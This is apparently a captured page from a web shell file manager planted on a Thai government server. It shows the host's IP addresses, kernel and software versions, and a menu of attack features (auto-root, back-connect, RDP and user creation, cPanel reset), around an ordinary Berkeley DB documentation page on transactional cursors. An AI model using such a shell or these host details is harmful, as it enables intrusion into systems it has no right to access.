Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
db4-devel-4.7.25 /
ref /
transapp /
[ HOME SHELL ]
Name
Size
Permission
Action
admin.html
3.28
KB
-rw-r--r--
app.html
16.29
KB
-rw-r--r--
archival.html
9.52
KB
-rw-r--r--
atomicity.html
4.19
KB
-rw-r--r--
checkpoint.html
4.7
KB
-rw-r--r--
cursor.html
4.99
KB
-rw-r--r--
data_open.html
5.89
KB
-rw-r--r--
deadlock.html
5.78
KB
-rw-r--r--
env_open.html
6.53
KB
-rw-r--r--
fail.html
4.98
KB
-rw-r--r--
faq.html
7.8
KB
-rw-r--r--
filesys.html
4.22
KB
-rw-r--r--
hotfail.html
5.51
KB
-rw-r--r--
inc.html
6.1
KB
-rw-r--r--
intro.html
2.72
KB
-rw-r--r--
logfile.html
3.57
KB
-rw-r--r--
nested.html
4.19
KB
-rw-r--r--
put.html
10.51
KB
-rw-r--r--
read.html
7.93
KB
-rw-r--r--
reclimit.html
9.7
KB
-rw-r--r--
recovery.html
6.42
KB
-rw-r--r--
term.html
4.09
KB
-rw-r--r--
throughput.html
7.14
KB
-rw-r--r--
transapp.cs
10.34
KB
-rw-r--r--
tune.html
10.76
KB
-rw-r--r--
why.html
2.49
KB
-rw-r--r--
writetest.cs
2.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cursor.html
<!--$Id: cursor.so,v 1.12 2004/03/05 21:47:36 bostic Exp $--> <!--Copyright (c) 1997,2008 Oracle. All rights reserved.--> <!--See the file LICENSE for redistribution information.--> <html> <head> <title>Berkeley DB Reference Guide: Transactional cursors</title> <meta name="description" content="Berkeley DB: An embedded database programmatic toolkit."> <meta name="keywords" content="embedded,database,programmatic,toolkit,btree,hash,hashing,transaction,transactions,locking,logging,access method,access methods,Java,C,C++"> </head> <body bgcolor=white> <table width="100%"><tr valign=top> <td><b><dl><dt>Berkeley DB Reference Guide:<dd>Berkeley DB Transactional Data Store Applications</dl></b></td> <td align=right><a href="../transapp/read.html"><img src="../../images/prev.gif" alt="Prev"></a><a href="../toc.html"><img src="../../images/ref.gif" alt="Ref"></a><a href="../transapp/nested.html"><img src="../../images/next.gif" alt="Next"></a> </td></tr></table> <p align=center><b>Transactional cursors</b></p> <p>Berkeley DB cursors may be used inside a transaction, exactly as any other <a href="../../api_c/db_class.html">DB</a> method. The enclosing transaction ID must be specified when the cursor is created, but it does not then need to be further specified on operations performed using the cursor. One important point to remember is that a cursor <b>must be closed</b> before the enclosing transaction is committed or aborted.</p> <p>The following code fragment uses a cursor to store a new key in the cats database with four associated data items. The key is a name. The data items are a company name and a list of the breeds of cat owned. Each of the data entries is stored as a duplicate data item. In this example, transactions are necessary to ensure that either all or none of the data items appear in case of system or application failure.</p> <blockquote><pre>int main(int argc, char *argv) { extern int optind; DB *db_cats, *db_color, *db_fruit; DB_ENV *dbenv; int ch; <p> while ((ch = getopt(argc, argv, "")) != EOF) switch (ch) { case '?': default: usage(); } argc -= optind; argv += optind; <p> env_dir_create(); env_open(&dbenv); <p> /* Open database: Key is fruit class; Data is specific type. */ db_open(dbenv, &db_fruit, "fruit", 0); <p> /* Open database: Key is a color; Data is an integer. */ db_open(dbenv, &db_color, "color", 0); <p> /* * Open database: * Key is a name; Data is: company name, cat breeds. */ db_open(dbenv, &db_cats, "cats", 1); <p> add_fruit(dbenv, db_fruit, "apple", "yellow delicious"); <p> add_color(dbenv, db_color, "blue", 0); add_color(dbenv, db_color, "blue", 3); <p> <b> add_cat(dbenv, db_cats, "Amy Adams", "Oracle", "abyssinian", "bengal", "chartreaux", NULL);</b> <p> return (0); } <p> <b>int add_cat(DB_ENV *dbenv, DB *db, char *name, ...) { va_list ap; DBC *dbc; DBT key, data; DB_TXN *tid; int fail, ret, t_ret; char *s; <p> /* Initialization. */ fail = 0; <p> memset(&key, 0, sizeof(key)); memset(&data, 0, sizeof(data)); key.data = name; key.size = strlen(name); <p> retry: /* Begin the transaction. */ if ((ret = dbenv->txn_begin(dbenv, NULL, &tid, 0)) != 0) { dbenv->err(dbenv, ret, "DB_ENV->txn_begin"); exit (1); } <p> /* Delete any previously existing item. */ switch (ret = db->del(db, tid, &key, 0)) { case 0: case DB_NOTFOUND: break; case DB_LOCK_DEADLOCK: default: /* Retry the operation. */ if ((t_ret = tid->abort(tid)) != 0) { dbenv->err(dbenv, t_ret, "DB_TXN->abort"); exit (1); } if (fail++ == MAXIMUM_RETRY) return (ret); goto retry; } <p> /* Create a cursor. */ if ((ret = db->cursor(db, tid, &dbc, 0)) != 0) { dbenv->err(dbenv, ret, "db->cursor"); exit (1); } <p> /* Append the items, in order. */ va_start(ap, name); while ((s = va_arg(ap, char *)) != NULL) { data.data = s; data.size = strlen(s); switch (ret = dbc->c_put(dbc, &key, &data, DB_KEYLAST)) { case 0: break; case DB_LOCK_DEADLOCK: default: va_end(ap); <p> /* Retry the operation. */ if ((t_ret = dbc->c_close(dbc)) != 0) { dbenv->err( dbenv, t_ret, "dbc->c_close"); exit (1); } if ((t_ret = tid->abort(tid)) != 0) { dbenv->err(dbenv, t_ret, "DB_TXN->abort"); exit (1); } if (fail++ == MAXIMUM_RETRY) return (ret); goto retry; } } va_end(ap); <p> /* Success: commit the change. */ if ((ret = dbc->c_close(dbc)) != 0) { dbenv->err(dbenv, ret, "dbc->c_close"); exit (1); } if ((ret = tid->commit(tid, 0)) != 0) { dbenv->err(dbenv, ret, "DB_TXN->commit"); exit (1); } return (0); }</b></pre></blockquote> <table width="100%"><tr><td><br></td><td align=right><a href="../transapp/read.html"><img src="../../images/prev.gif" alt="Prev"></a><a href="../toc.html"><img src="../../images/ref.gif" alt="Ref"></a><a href="../transapp/nested.html"><img src="../../images/next.gif" alt="Next"></a> </td></tr></table> <p><font size=1>Copyright (c) 1996,2008 Oracle. All rights reserved.</font> </body> </html>
Close